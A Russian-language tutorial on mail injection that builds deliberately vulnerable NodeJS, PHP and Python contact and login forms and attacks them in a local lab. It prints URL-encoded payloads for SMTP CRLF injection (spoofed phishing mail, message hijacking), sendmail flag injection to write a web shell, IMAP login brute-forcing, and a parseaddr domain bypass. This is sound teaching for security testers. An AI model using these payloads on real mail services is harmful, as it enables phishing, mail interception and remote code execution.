Статья создана в ознакомительных целях и предназначена только для специалистов по анализу защищённости, которые проводят анализ защищённости ресурсов компании-заказчика строго на законных основаниях и на основании договора, заключенного с компанией-заказчиком.

???? Содержание

  1. Предыстория

  2. Основы работы почты

    • Почтовые протоколы

    • Почтовые компоненты

    • Конструкция письма

    • Специальные конструкции

  3. Потенциальные уязвимости

    • CRLF Injection

    • Arbitrary Command Flag Injection

  4. Демонстрация эксплуатации

    • Заготовка приложения

    • NodeJS: smtp-client (CRLF SMTP Injection в MAIL FROM / DATA + E-mail hijacking)

    • PHP: mail() (CRLF SMTP Injection + Command Flag Injection)

    • Python: imaplib / email (CRLF IMAP Injection + Improper Input Validation)


???? Предыстория

Порой разработчикам необходимо создавать формы – разделы для сбора информации от пользователей веб-приложения. Было придумано множество способов обработки и сбора ответов пользователей на формы. Выбор подходящего зависит от спектра условий: вида и предполагаемого объёма данных, допустимого объёма выделенного хранилища, желаемых характеристик доступа, ... ;

Так сложилось, что одним из вариантов решения упомянутой задачи является использование электронной почты. Электронная почта – комплексная технология, в работе которой задействован целый список компонентов.

В таком сценарии формы выступают посредниками между рядом компонентов и пользователем, что, как известно из истории, неизбежно ведёт к эксплуатации уязвимостей технологий через пользовательский ввод – к инъекциям.

И, поскольку в распоряжении атакующего оказывается цепочка из компонентов различных реализаций, такая функциональность – просторное поле для анализа и проведения не одного, но сразу нескольких видов инъекций.

Ход времени, конечно, неизбежно приводит к сокращению числа уязвимостей и случаев использования электронной почты в качестве хранилища. Тем не менее никто никуда не вымер: формы в веб-приложениях крупных компаний всё так же возвращают отладочные SMTP логи, в веб-приложениях компаний поменьше – отправляют ответы самописными средствами, а уязвимости и вовсе имеют обыкновение появляться вновь.

Примерно поэтому рассматриваемая тема остаётся полезной для ознакомления и любопытной для изучения!


???? Основы работы почты

Почтовые протоколы

Работа почты осуществляется с помощью специальных почтовых протоколов.

Существует некоторое количество почтовых протоколов, из которых принято использовать:

  • POP, Post Office Protocol

  • IMAP, Internet Message Access Protocol

  • SMTP, Simple Mail Transfer Protocol

Протокол SMTP используется для отправки сообщений.
Протоколы IMAP и POP используются для получения сообщений.

Если коротко о разнице:

  • IMAP тяжеловеснее, POP легковеснее;

  • IMAP предоставляет удалённый доступ к сообщениям, а POP – скачивает сообщения на устройство для локального доступа.

→ Функциональность веб-приложения для отправки сообщений потенциально использует пользовательский ввод для взаимодействия с SMTP сервером;
→ Функциональность веб-приложения для чтения сообщений потенциально использует пользовательский ввод для взаимодействия с IMAP сервером;

Почтовые компоненты

Почтовый клиент:

  • MUA — Mail User Agent; Компонент, с которым взаимодействует пользователь для осуществления работы с почтой

Почтовый сервер:

  • MTA — Mail Transfer Agent; Компонент, пересылающий почту между почтовыми серверами

  • MDA — Mail Delivery Agent; Компонент, доставляющий почту пользователю

Пример взаимодействия компонентов:

  1. Пользователь А (Акамир) пишет и отправляет письмо Пользователю Б (Бажене) через свой почтовый клиент – MUA.

  2. MUA пересылает письмо Акамира на почтовый сервер.

  3. Почтовый сервер запрашивает данные о DNS зоне, указанной в адресе электронной почты Бажены.

  4. Почтовый сервер получает данные о DNS зоне, указанной в адресе электронной почты Бажены.

  5. Несколько MTA один за другим пересылают письмо Акамира друг другу по SMTP. На конечном этапе письмо попадает от MTA к MDA, который должен передать письмо Бажене через MUA.

  6. Бажена обращается к своему MUA. Он получает данные о сообщениях Бажены от почтового сервера по IMAP и отображает новое письмо от Акамира.

Конструкция письма

Письма, посылаемые с помощью почтового протокола SMTP, должны состоять из нескольких частей: конверта + самого письма.

Конверт — информационная обёртка над письмом, запрашиваемая SMTP протоколом:

  • MAIL FROM: Отправитель

  • RCPT TO: Получатель

  • DATA: Начать письмо

Письмо — передаваемое сообщение; Включает в себя:

  • Заголовки:

    • Content-Type: Тип содержимого

    • From: Отправитель

    • To: Получатель

    • Subject: Тема

    • Date: Дата и время

    • , Bсс, ...

  • Тело письма: Непосредственно содержимое сообщения.

Специальные конструкции

Для корректной работы протоколов используются следующие специальные конструкции:

- Возврат каретки (Carriage Return): <CR> = %0D = 0x13
- Перевод строки (Line feed): <LF> = %0A = 0x10
- Пробел (Space): <SP> = %20 = 0x32

  • <SP>: Отделяет команду от аргументов

  • <CRLF>: Закрывает команду; Разделяет строки письма

  • <CRLF>.<CRLF>: Закрывает письмо


???? Потенциальные уязвимости

CRLF Injection

???? OWASP про IMAP/SMTP инъекции: owasp.org/...Testing_for_IMAP_SMTP_Injection
???? CRLF инъекции в SMTP: vk9-sec.com/smtp-injection-attack

Почтовые клиенты, которым передаётся в недостаточной мере обработанный пользовательский ввод, могут оказаться уязвимы к CRLF инъекциям – внедрению вышеописанных специальных конструкций для влияния на поведение почтовых протоколов.

В случаях, когда подконтрольные пользователю данные впоследствии оказываются частью исполняемой клиентом команды, атакующим могут быть внедрены специальная конструкция <CRLF>, закрывающая текущую команду, а также специальная конструкция <CRLF>.<CRLF>, закрывающая письмо, для вывода полезной нагрузки за пределы предоставленной для заполнения секции письма.

Эксплуатация CRLF инъекции приведёт к возможности исполнения атакующим команд, определённых для используемого почтового протокола, что в свою очередь, в зависимости от целей атакующего, может привести к следующим последствиям:

  • Возможность взаимодействия с локальными почтовыми серверами

  • Утечка конфиденциальной информации

  • Обход накладываемых на пользователя ограничений (обход капчи, рейт лимитов, ...) → Злоупотребление выделенными ресурсами, DoS

  • Фишинг + рассылка вредоносного ПО

  • Спам

Arbitrary Command Flag Injection

???? SwiftMailer, 2016: cve.org/..?id=CVE-2016-10074
???? PHPMailer, 2017: xakep.ru/.../phpmailer-exploit
???? Exim, 2019: cve.org/..?id=CVE-2019-10149
???? NodeMailer, 2020: cve.org/..?id=CVE-2020-7769

Почтовые сервера, которым передаётся в недостаточной мере обработанный пользовательский ввод, могут оказаться уязвимы к инъекциям во флаги команды – внедрению дополнительных опций в исполняемую на целевой машине команду, которая отвечает за запуск почтового компонента.

В случаях, когда подконтрольные пользователю данные впоследствии оказываются среди аргументов исполняемой на целевой машине команды, атакующим могут быть внедрены дополнительные опции для влияния на поведение запускаемого компонента.

Последствия эксплуатации инъекции во флаги команды зависят от конкретного компонента, но нередко заключаются в возможности осуществления атакующим записи в файлы на целевой машине (Arbitrary File Write) и в вытекающей из этого возможности удалённого исполнения кода (Remote Code Execution) через внедрение атакующим веб-шелла.


⚙️ Демонстрация эксплуатации

Заготовка приложения

???? Github: github.com/qwqoro/Mail-Injection

Для демонстрации эксплуатации уязвимостей я подготовила небольшое веб-приложение, для которого разработала один вариант фронтенда и несколько – бекенда, чтобы провести тестирование разных реализаций совпадающей функциональности – почтовых клиентов.

В качестве почтового сервера выступает машина в локальной сети, на 25 порту которой запущен MTA Postfix. Сбор писем предполагается по адресу contact@hahacking.local.

Фронтенд представляет из себя контактную форму и содержит поля для ввода адреса электронной почты пользователя и текста обращения:

Выбор полей обусловлен желанием продемонстрировать выход атакующим за пределы выделенной ему секции письма в случае предоставления пользователю контроля над:

  1. Текстом письма; Пользовательский ввод внедряется после команды DATA<CRLF>

  2. Заголовком конверта; Пользовательский ввод внедряется в качестве аргумента <отправитель> команды MAIL<SP>FROM : <отправитель><CRLF>

NodeJS: smtp-client (SMTP Injection в MAIL FROM / DATA)

???? Github: github.com/qwqoro/Mail-Injection/nodejs
???? CRLF инъекции: snyk.io/.../avoiding-smtp-injection

Бекенд на NodeJS был реализован с помощью фреймворка Express и почтового клиента smtp-client.

POST запрос к главной странице предполагает извлечение значений параметров email и text, указанных пользователем в ходе заполнения контактной формы, из тела запроса, создание подключения к почтовому серверу и внедрение извлечённых значений в качестве отправителя (s.mail({from: email})) и текста письма (s.data(text)) соответственно.

  • app.js:

const express = require('express');
const smtp = require('smtp-client');
const path = require('path');
const app = express();
const port = 80;

let s = new smtp.SMTPClient({
  host: "hahacking.local",
  port: 25
});

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use(express.static("public"));

app.get('/', (req, res) => {
  res.sendFile('index.html', { root: path.join(__dirname, '/public') });
});

app.post('/', (req, res) => {
  let email = req.body.email;
  let text = req.body.text;

  (async function() {
    await s.connect();
    await s.greet({hostname: "hahacking.local"});
    await s.mail({from: email});
    await s.rcpt({to: "contact@hahacking.local"});
    await s.data(text);
    await s.quit();
  })().catch(console.error);

  res.sendFile('index.html', { root: path.join(__dirname, '/public') });
});


app.listen(port, (error) => {
  if (!error) console.log(`[+] App listening on port ${port}`)
  else console.log(`[-] Error occurred during startup`, error)
});

Поскольку smtp-client уязвим к CRLF инъекциям, а также мною не была реализована никакая дополнительная обработка пользовательского ввода, атакующий может внедрить произвольную полезную нагрузку, используя специальные конструкции.

Так выглядит общение клиента и сервера по SMTP в случае отправки запроса к главной странице с телом запроса email=testemail@test.local&text=TestTextTestText:

SMTP Injection в MAIL FROM

Простейший пример полезной нагрузки в параметр тела запроса email, которая добавит дополнительного получателя письма – внутреннего сотрудника с адресом электронной почты bazhena@hahacking.local:

you@example.org>
RCPT TO:<bazhena@hahacking.local

Даже такая нагрузка может привести к последствиям. Например, к отправке атакующим произвольных писем на внутренние электронные почты сотрудников с целью рассылки вредоносного ПО.

Чтобы пользователь, проверяющий почту contact@hahacking.local, не узнал об эксплуатации, заметив информацию о получателях доставленного ему письма, стоит усовершенствовать полезную нагрузку. Для этого можно:

  1. Завершить письмо с обратной связью, которое будет предназначено для contact@hahacking.local:

you@example.org>
RCPT TO:<contact@hahacking.local>
DATA
Hello!
.
  1. Затем – начать новое, фишинговое. Как вариант, имеет смысл попробовать отправить фишинговое письмо сотруднику от лица другого сотрудника:

MAIL FROM:<akamir@hahacking.local>
RCPT TO:<bazhena@hahacking.local>
DATA
Have you seen this? https://***
.
  1. После – дописать начало ещё одного сообщения для contact@hahacking.local для обеспечения корректной работы протокола:

MAIL FROM:<you@example.org

Результирующая полезная нагрузка:

you@example.org>%0d%0aRCPT%20TO:<contact@hahacking.local>%0d%0aDATA%0d%0aHello!%0d%0a.%0d%0aMAIL%20FROM:<akamir@hahacking.local>%0d%0aRCPT%20TO:<bazhena@hahacking.local>%0d%0aDATA%0d%0aHave%20you%20seen%20this?%20https://***%0d%0a.%0d%0aMAIL%20FROM:<you@example.org

Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса email:

Так выглядит общение почтового клиента с сервером по протоколу SMTP. Можно увидеть все три письма, причём пустая строка в 5 с конца строке диалога – значение параметра тела запроса text:

Сообщения на почтовом ящике пользователя с адресом электронной почты bazhena@hahacking.local. Пользователь получил письмо, созданное атакующим, причём указано, что отправитель – пользователь с адресом электронной почты akamir@hahacking.local:

Сообщения на почтовом ящике пользователя с адресом электронной почты contact@hahacking.local. Пользователь получил письмо, созданное атакующим для закрытия письма, создающегося формой, а также письмо с содержимым значения параметра тела запроса text – пустой строкой:

SMTP Injection в DATA

Подобная ситуация обстоит с внедрением пользовательского ввода в текст письма – значение параметра тела запроса text. Атакующий может:

  1. Завершить секцию текста письма DATA с помощью специальной конструкции <CRLF>.<CRLF>

  2. Затем – начать новое, фишинговое письмо. Можно не завершать это письмо и не начинать новое письмо для contact@hahacking.local, так как клиент сам завершит письмо специальной конструкцией <CRLF>.<CRLF>, а после – завершит общение:

MAIL FROM:<akamir@hahacking.local>
RCPT TO:<bazhena@hahacking.local>
DATA
Check this out! https://***

Результирующая полезная нагрузка:

%0d%0a.%0d%0aMAIL%20FROM:<akamir@hahacking.local>%0d%0aRCPT%20TO:<bazhena@hahacking.local>%0d%0aDATA%0d%0aCheck%20this%20out!%20https://***

Но она не сработает. Стоит учесть, что, исходя из исходного кода smtp-client, значение аргумента метода data подвергается дополнительной обработке: подстроки, соответствующие шаблону /^\./m заменяются на подстроку "..". Использование такого шаблона подразумевает замену точки, расположенной в самом начале строки, на две точки. Кажется, что это означает, что попытка закрыть секцию текста письма DATA с помощью специальной конструкции <CRLF>.<CRLF> обернётся заменой подстроки <CRLF>. на подстроку <CRLF>.. и невозможностью выхода атакующим за пределы секции.

Тем не менее, поскольку в качестве настроек используется только флаг /m (multiline), распространяющий влияние шаблона на все строки, и отсутствует флаг /g (global), который бы допускал возможность множественного включения шаблона, атакующий может включить заменяемую подстроку <CRLF>. более одного раза, ведь замена не повлияет на второе и последующие включения:

Вариант полезной нагрузки для обхода встроенной обработки пользовательского ввода:

.Hello!%0d%0a.%0d%0aMAIL%20FROM:<akamir@hahacking.local>%0d%0aRCPT%20TO:<bazhena@hahacking.local>%0d%0aDATA%0d%0aCheck%20this%20out!%20https://***

Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса text:

Так выглядит общение почтового клиента с сервером по протоколу SMTP. Можно увидеть два письма, причём в первом наблюдается единоразовая замена подстроки <CRLF>. на подстроку <CRLF>.., а во втором – самостоятельное завершение почтовым клиентом письма и общения:

Сообщения на почтовых ящиках пользователей с адресами электронной почты bazhena@hahacking.local и contact@hahacking.local. Пользователь bazhena получил письмо, созданное атакующим, причём указано, что отправитель – пользователь с адресом электронной почты akamir@hahacking.local:

SMTP Injection в DATA → E-mail Hijacking

Эксплуатация CRLF инъекции может привести к получению атакующим содержимого чужих писем. Наличие такой возможности напрямую зависит от непрерывности соединения и от выбранного SMTP сервера, а конкретнее – от его поведения в случае ошибки.

Для того, чтобы соединение не прерывалось в связи с ошибками, я изменила app.js:

...
let s = new smtp.SMTPClient({
  host: "hahacking.local",
  port: 25
});

s.connect();
s.greet({hostname: "hahacking.local"});

...

app.post('/', (req, res) => {
...
  (async function() {
    await s.mail({from: email}).catch(console.error);
    await s.rcpt({to: "contact@hahacking.local"}).catch(console.error);
    await s.data(text).catch(console.error);
  })();
...

Возвращаясь к возможности CRLF инъекции в секцию DATA, которая была рассмотрена ранее, можно предположить, что для перехвата чужого письма атакующему необходимо подготовить полезную нагрузку, которая бы:

  1. Закрыла текущее письмо. Нужно обойти фильтрацию специальных конструкций <CRLF> и завершить секцию текста письма DATA с помощью специальной конструкции <CRLF>.<CRLF>

  2. Открыла новое письмо, обозначив данные для "конверта". Нужно указать отправителя в секции MAIL FROM и получателя в секции RCPT TO, причём адрес получателя – это адрес электронной почты атакующего.

Далее почтовый клиент автоматически пошлёт специальную конструкцию <CRLF>.<CRLF> для корректного завершения письма – и это будет тот самый момент, где огромную роль сыграет выбор SMTP сервера.

Стоит заметить, что если бы атакующий открыл секцию DATA, то на данном этапе новое письмо было бы неизбежно закрыто почтовым клиентом, потому приходится ограничиваться лишь заполнением конверта нового письма. Теперь же, в отсутствие секции DATA, попытка закрыть письмо приведёт к ошибке.

  • Postfix, используемый мной в предыдущих примерах, оборвёт соединение

  • А, например, Stalwart – выведет предупреждение и проигнорирует ошибку

Так реагируют на ошибки (несколько секций MAIL FROM + отсутствие секции DATA) Postfix и Stalwart соответственно:

Рассматривая любопытный вариант с использованием SMTP сервера Stalwart:

  • Специальная конструкция <CRLF>.<CRLF>, посылаемая клиентом, не будет воспринята сервером

  • Секция MAIL FROM из следующего письма не будет воспринята сервером

  • Секция RCPT TO из следующего письма будет добавлена в качестве дополнительного получателя

  • Сообщение жертвы будет получено как пользователем, созданным для сбора ответов из формы, так и атакующим

Пример полезной нагрузки, посылаемой атакующем в качестве значения параметра тела запроса text:

.Hello!%0d%0a.%0d%0aMAIL%20FROM:<yourmail@example.org>%0d%0aRCPT%20TO:<yourmail@example.org>%0d%0a

Так выглядит общение почтового клиента с сервером по протоколу SMTP. Синим выделено легитимное письмо из формы, отправленное жертвой следом за письмом атакующего, которое содержало полезную нагрузку:

Письма на почтовых ящиках пользователей с адресами электронной почты qwqoro@hahacking.local и contact@hahacking.local. Атакующий тоже получил сообщение, отправленное жертвой:


PHP: mail() (SMTP Injection + Command Flag Injection)

???? Github: github.com/qwqoro/Mail-Injection/php

Один из бекендов на PHP был реализован с использованием встроенной функции mail().

В документации к функции присутствует предупреждение об автоматическом удалении точек, находящихся в начале строк внутри значения аргумента message, потому инъекция через текст обращения по умолчанию не представляется возможной.

Рассмотрим два варианта инъекции в секции письма через ввод полезной нагрузки в поле с адресом электронной почты пользователя.

POST запрос к странице /send.php предполагает извлечение значений параметров email и text, указанных пользователем в ходе заполнения контактной формы, из тела запроса и их внедрение в качестве отправителя (mail(..., "-f" . $email); / $headers = "From: " . $email;) и текста письма (mail(..., $text, ...);) соответственно.

  • send.php:

<?php

if (isset($_POST["email"]) and isset($_POST["text"])){
  $email = $_POST["email"];
  $text = $_POST["text"];

  $headers = "From: " . $email;

  mail("contact@hahacking.local", "Contact Form", $text, $headers, "-f" . $email);
}

header("Location: http://hahacking.local/");

?>

SMTP Injection

  1. Первая проблема – вводимый пользователем адрес электронной почты внедряется в заголовок письма From.

Атакующий может закрыть подконтрольный ему заголовок письма и открыть новый, например, заголовок Bcc (Blind Carbon Copy), позволяющий отправить "слепую" копию письма – такую, что ни один получатель не узнает из заголовков о других получателях этого же письма. А раз пользователю не нужно подтверждать статус владения указанным адресом электронной почты, атакующий может указать отправителем другого сотрудника.

Пример полезной нагрузки:

akamir@hahacking.local%0d%0aBcc:%20bazhena@hahacking.local

На оба почтовых ящика пришли письма от akamir@hahacking.local, причём ни в одном письме не указаны иные получатели:

Arbitrary Command Flag Injection

???? PHPMailer: xakep.ru/.../phpmailer-exploit
???? MITRE про подобную уязвимость CVE-2018-19518: cve.mitre.org/...?name=CVE-2018-19518
???? Разбор CVE-2018-19518: forum.antichat.club/.../463395/#post-4254681

  1. Вторая проблема – вводимый пользователем адрес электронной почты внедряется в качестве отправителя с помощью флага -f.

Атакующий может добавить дополнительные флаги и они все будут применены в контексте исполнения утилиты sendmail, которую использует mail().

Пример полезной нагрузки:

yourmail@example.org%20-v

Внедрение данной полезной нагрузки приведёт ко внедрению флага -v в командную строку, что приведёт к отправке некоторого отладочного отчёта на адрес электронной почты yourmail@example.org:

В зависимости от локальных настроек может быть возможным добавление следующих флагов:

  • -C value = Указать путь к конфигурационному файлу

  • -X value = Записать лог отправки по пути value

  • -oK value, -o Key=value = Установить параметр K/Key в значение value

  • -oQ value, -o QueDirectory=value = Установить параметр QueDirectory в значение value; По пути value будут храниться письма из очереди для отправки

Скомбинировав -C /var/mail/contact и -X /var/www/html/uploads/qwq.txt, атакующий сможет прочитать в веб-приложении лог qwq.txt с содержимым файла /var/mail/contact.

А скомбинировав -oQ /tmp/ и -X /var/www/html/uploads/qwq.php, а также указав в качестве значения параметра тела запроса text PHP-код наподобие "<?php echo("hahacked")?>", атакующий сможет записать в файл qwq.php произвольный PHP-код для его последующего исполнения из веб-приложения. Так он может записать веб-шелл и обрести возможность удалённого выполнения команд на сервере.

Приблизительно таким образом в своё время работала эксплуатация Arbitrary Command Flag Injection в SwiftMailer, PHPMailer, Exim и NodeMailer. Естественно, к каждой технологии необходим собственный подход, но в общих чертах ситуация схожа.


Python: imaplib (IMAP Injection)

???? Github: github.com/qwqoro/Mail-Injection/python-imap

Один из бекендов на Python был реализован с использованием фреймворка Flask и стандартной библиотеки imaplib.

Протокол IMAP используется для чтения, фильтрации и сортировки писем. В него заложен перечень команд, отвечающих за аутентификацию и взаимодействие с почтовым ящиком и полученными сообщениями. Потому я изменила основную функциональность тестового веб-приложения и фронтенд: теперь пользователю предлагается войти в некоторый почтовый клиент, который содержал бы входящие сообщения.

  • app.py:

from flask import Flask
from flask import render_template, request, redirect, url_for, session
from imaplib import IMAP4
from os import urandom

app = Flask(__name__, static_url_path='', static_folder="public", template_folder="public")
app.config['SECRET_KEY'] = urandom(12)

s = IMAP4("hahacking.local")

def checkAlive(e):
  global s
  
  if "Broken pipe" in e or "EOF" in e:
    s = IMAP4("hahacking.local")

@app.route('/')
def index():
  global s

  try:
    s.noop()
  except Exception as e:
    e = str(e)
    checkAlive(e)
    return render_template("index.html", result=f"Failed! Error message: {e}")
    
  if "success" in session and session["success"]:
  
    try: 
      s.select()
      typ, data = s.search(None, "ALL")
      messages = {}
      for num in data[0].split():
        typ, data = s.fetch(num, '(RFC822)')
        messages[num.decode()] = data[0][1].decode()
      return render_template("messages.html", messages=messages)
      
    except Exception as e:
      e = str(e)
      checkAlive(e)
      return render_template("index.html", result=f"Failed! Error message: {e}")
    
  return render_template("index.html", result='')


@app.route("/signin", methods=["GET", "POST"])
def signinPost():
  global s
  
  if request.method == "POST":
    username = request.form.get("username")
    password = request.form.get("password")
    
    try:
      s.login(username, password)
      session["success"] = True
      
    except Exception as e:
      e = str(e)
      checkAlive(e)
      return render_template("index.html", result=f"Failed! Error message: {e}")
      
    return redirect(url_for('index'), 302)

@app.route("/logout", methods=["GET", "POST"])
def logoutPost():
  global s
  
  try:
    s.logout()
    session["success"] = False
      
  except Exception as e:
    e = str(e)
    return render_template("index.html", result=f"Failed! Error message: {e}")
    
  s = IMAP4("hahacking.local")
  return redirect(url_for('index'), 302)


if __name__ == "__main__":
  app.run(host="hahacking.local", port=80)

POST запрос к заглавной странице / предполагает попытку аутентификации – извлечение значений параметров username и password, указанных пользователем в ходе заполнения формы логина, из тела запроса и их использование в качестве параметров метода login объекта s класса IMAP4. После успешной аутентификации пользователь увидит на главной странице список адресованных ему сообщений. GET запрос к заглавной странице / также организует проверку соединения с IMAP сервером и перезапускает соединение при необходимости.

Так выглядит общение клиента и сервера по IMAP в случае отправки запроса к главной странице с телом запроса username=test&password=test:

Сначала почтовый клиент подключается к почтовому серверу и запрашивает информацию о возможностях командой CAPABILITY. После отправки пользователем формы введённые им данные передаются в качестве аргументов команды LOGIN.

Поскольку в протоколе IMAP реализована аутентификация, у атакующего не получится прочитать сообщения некоторого пользователя до тех пор, пока он не пройдёт процесс аутентификации с верными логином и паролем. И всё же, при наличии механизма CAPTCHA в форме такая инъекция значительно упростила бы процесс подбора учётных данных. Пример полезной нагрузки, внедряемой атакующим в параметр тела запроса username:

test "test"
LOGIN contact "contact"
LOGIN contact "password"
...
LOGIN contact "admin"
LOGIN contact

Кроме того, для обеспечения корректной работы протокола стоит обратить внимание на идентификаторы в начале команд. Библиотека imaplib определяет несколько классов – имплементации протокола IMAP версии IMAP4ver1, и опирается на RFC 2060. В разделе "2.2.1. Client Protocol Sender and Server Protocol Receiver" говорится, что каждая команда клиента должна начинаться с идентификатора, называемого "тегом". Генерирует теги тоже клиент. Никакие иные ограничения на теги спецификация не накладывает. Соответственно, они принимают разный вид в зависимости от используемого клиента: php-imap, например, использует идентификаторы, соответствующие шаблону [0-9]{8}, а imaplib[A-Z]{4}[0-9]+. Оказывается, что теги – на самом деле ещё большая условность, чем кажется, ведь допускается использование случайного идентификатора, соответствующего используемому шаблону. Дополняя полезную нагрузку тегами:

test "test"
AAAA0 LOGIN contact "contact"
AAAA1 LOGIN contact "password"
...
AAAA9 LOGIN contact "admin"
AAAA9 LOGIN contact

Подобная нагрузка, закодированная для отправки в качестве значения параметра тела запроса username:

contact%20\"contact\"%0d%0aAAAA1%20LOGIN%20contact%20\"password\"%0d%0aAAAA2%20LOGIN%20contact%20\"hahacking\"%0d%0aAAAA3%20LOGIN%20contact%20\"test\"%0d%0aAAAA4%20LOGIN%20contact%20\"test1\"%0d%0aAAAA5%20LOGIN%20contact

Поведение сервера в ответ на полезную нагрузку вновь отличается от сервера к серверу.

Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса username и строки "admin" в качестве значения параметра тела запроса password, а также отправки нескольких команд NOOP при условии использования почтового сервера Stalwart:

Так выглядит трафик, образующийся после отправки формы с указанием данной полезной нагрузки в качестве значения параметра тела запроса username и строки "admin" в качестве значения параметра тела запроса password, а также отправки нескольких команд NOOP при условии использования IMAP сервера Dovecot:

Как видно на скриншотах выше, Stalwart, в отличие от Dovecot, обрывает соединение после попытки клиента повторно использовать команду LOGIN после успешного входа пользователя и игнорирует последующие команды. Этот момент, как и, например, установленный максимум неудачных попыток, стоит учитывать при разработке полезной нагрузки и плана эксплуатации.

Каждый вызов метода объекта класса IMAP4 означает считывание почтовым клиентом 1 строки – следующего ответа сервера из тех, что ещё не были считаны. Таким образом, в ответ на обработку полезной нагрузки методом login вернётся ошибка, сообщающая о неудачной попытке аутентификации с тегом FDGA1 / OFEE1. Возникает проблема: сервер будет считать пользователя аутентифицированным, а клиент – не будет, ведь по его мнению state не перешёл в состояние AUTH:

Почтовый клиент откажется исполнять методы, требующие аутентифицированного состояния. Но раз методы читают ответы сервера строка за строкой и раз каждый запрос к заглавной странице вызывает метод noop для поддержания соединения, определённое число перезагрузок страницы приведёт к считыванию клиентом сообщения об успешном входе, что наталкивает на мысли:

  • Первыми указать корректные логин и пароль, известные атакующему, чтобы клиент перешёл в аутентифицированное состояние, а на сервере произошла смена пользователя вследствие исполнения команд LOGIN → Почтовые сервера не допускают возможность смены пользователя без обрыва соединения, игнорируя команду LOGIN в аутентифицированном состоянии

  • Провести попытку входа на этапе, когда следующим считанным клиентом сообщением от сервера будет сообщение об успешном входе, чтобы клиент перешёл в аутентифицированное состояние → Клиент проверяет, совпадают ли указанный им тег с полученным, потому вернётся ошибка о неожиданном ответе и попытка входа окажется неудачной

  • При обрыве соединения сервером при попытке повторной аутентификации: отсчитать число перезагрузок до перезапуска соединения и связанной с этим задержки в ответе или до падения приложения в случае невозможности восстановления связи с сервером, чтобы понять, какие имя пользователя и пароль оказались верными

  • При выводе ошибок пользователю: связать тег с указанным в полезной нагрузке или отсчитать число перезагрузок до вывода сообщения об успешном входе, если тег ответа в выводе не указан, чтобы понять, какие имя пользователя и пароль оказались верными

В своём веб-приложении я реализовала простейший вариант: вывод ошибок пользователю без их дополнительной обработки. Послав полезную нагрузку, атакующий будет перезагружать заглавную страницу, пока не увидит сообщение об успешном входе – ответ сервера с тегом AAAA2:

Тег AAAA2 соответствует запросу AAAA2 LOGIN contact "hahacking". Теперь, зная верные имя пользователя и пароль, атакующий сможет войти в почтовый ящик пользователя contact и даже немного развить атаку, повторно проэксплуатировав инъекцию для выполнения непредусмотренного приложением действия – внесения изменений, таких как, например, добавление на ящик нового произвольного письма или удаление уже существующих писем.


Python: email (Improper Input Validation)

???? Github: github.com/qwqoro/Mail-Injection/python-smtp
???? Issue про CVE-2023-27043: github.com/python/.../issues/102988
???? Issue про подобную CVE-2019-16056: github.com/python/.../issues/78336
???? Интересный пример подобной эксплуатации: xakep.ru/.../tchap + medium.com/@fs0c131y/tchap-the-super-not-secure-app-of-the-french-government

Весной 2023 года была обнаружена уязвимость в парсере адресов электронных почт подмодуля стандартной библиотеки Python emailemail.utils, которую можно проэксплуатировать в случае попадания пользовательского ввода в функции email.utils.parseaddr() и email.utils.getaddresses().

Уязвимость затрагивает версии Python: 0 - 2.7.18, 3.0 - 3.11

Бывает необходимо, чтобы подконтрольный пользователю адрес электронной почты принадлежал конкретному домену. Атакующий может попробовать обойти проверку домена, содержащегося в адресе его электронной почты, например, добавив в конце значения нужное доменное имя, при этом оно должно быть логически отделено от настоящего адреса электронной почты атакующего для сохранения возможности получения писем на настоящий адрес.

Для пресечения подобных попыток вводятся парсеры адресов электронных почт, выделяющие из передаваемых им значений корректные адреса.

Я снова изменила основную функциональность тестового веб-приложения и фронтенд: теперь пользователю предлагается зарегистрироваться в некоторой системе, причём для регистрации допускаются только почты домена hahacking.local.

Бекенд на Python был реализован с использованием фреймворка Flask и стандартных библиотек smtplib и email.

  • app.py:

from flask import Flask
from flask import render_template, request
from smtplib import SMTP
from email.utils import parseaddr
from email.message import EmailMessage
from email.headerregistry import Address

app = Flask(__name__, static_url_path='', static_folder='public', template_folder='public')

@app.route('/')
def index():
  return render_template('index.html', result='')

@app.route('/signup', methods=["GET", "POST"])
def signupPost():
  result = ''
  
  if request.method == "POST":
    email = request.form.get('email')
    password = request.form.get('password')

    if parseaddr(email)[1].split('@')[1] == "hahacking.local":
    
      at = email.index("@")
      msg = EmailMessage()
      msg["From"] = Address("HaHacking", "contact", "hahacking.local")
      msg["To"] = Address("You", email[:at], email[at+1:])
      msg.set_content("Welcome to HaHacking! You have successfully signed up!")
      
      with SMTP("hahacking.local", 25) as s:
        s.send_message(msg)
        result = "Вы успешно зарегистрированы!"
        
    else:
        result = "Допускаются только почты домена hahacking.local!"

  return render_template('index.html', result=result)


if __name__ == "__main__":
        app.run(host="hahacking.local", port=80)

Поскольку валидация, реализуемая функцией parseaddr(), некорректна в случае внедрения в передаваемую строку специальных символов (например: ()<>,:;.\"[]), атакующий может обойти проверку домена, который указан в адресе его электронной почты.

Пример полезной нагрузки:

contact@hahacking.local]<qwqoro@qwqoro.local>

Функция parseaddr(), вызванная от строки "contact@hahacking.local]<qwqoro@qwqoro.local>" возвращает кортеж, содержащий адрес электронной почты contact@hahacking.local. Именно этот адрес выделится в ходе проверки домена и благодаря нему проверка будет успешно пройдена:

Но если использовать contact@hahacking.local]<qwqoro@qwqoro.local> в качестве получателя письма, письмо об успешной регистрации в том числе придёт на адрес qwqoro@qwqoro.local:


Заключение

Напоследок в качестве мотивации прикладываю несколько отчётов об эксплуатации таких уязвимостей:

???? GSuite (Google Workspace), SMTP Injection: ehpus.com/.../smtp-injection-in-gsuite
???? NextCloud Calendar, SMTP Injection: hackerone.com/reports/1509216 / hackerone.com/reports/1516377 / spaceraccoon.dev/.../#nextcloud-calendar-smtp-command-injection
???? Tchap, Improper Input Validation: medium.com/@fs0c131y/tchap-the-super-not-secure-app-of-the-french-government

Успехов!

Комментарии (5)


  1. olegtsss
    16.11.2023 16:42

    Какие интересные уязвимости в коде, работающем с почтовыми протоколами, вы накопали. Вспомнились старые добрые 2000-е, когда почта была на подъеме, а желающие хардкора общались с почтовыми серверами посредством командной строки). Была настоящая магия, особенно в переводах некоторых запросов/ответов с base64.

    Не совсем понял как там работает - в подборе учетки для службы imap (dovecot, например), вы используете пару (логин и пароль) или пароль здесь не важен?


    1. qwqoro Автор
      16.11.2023 16:42

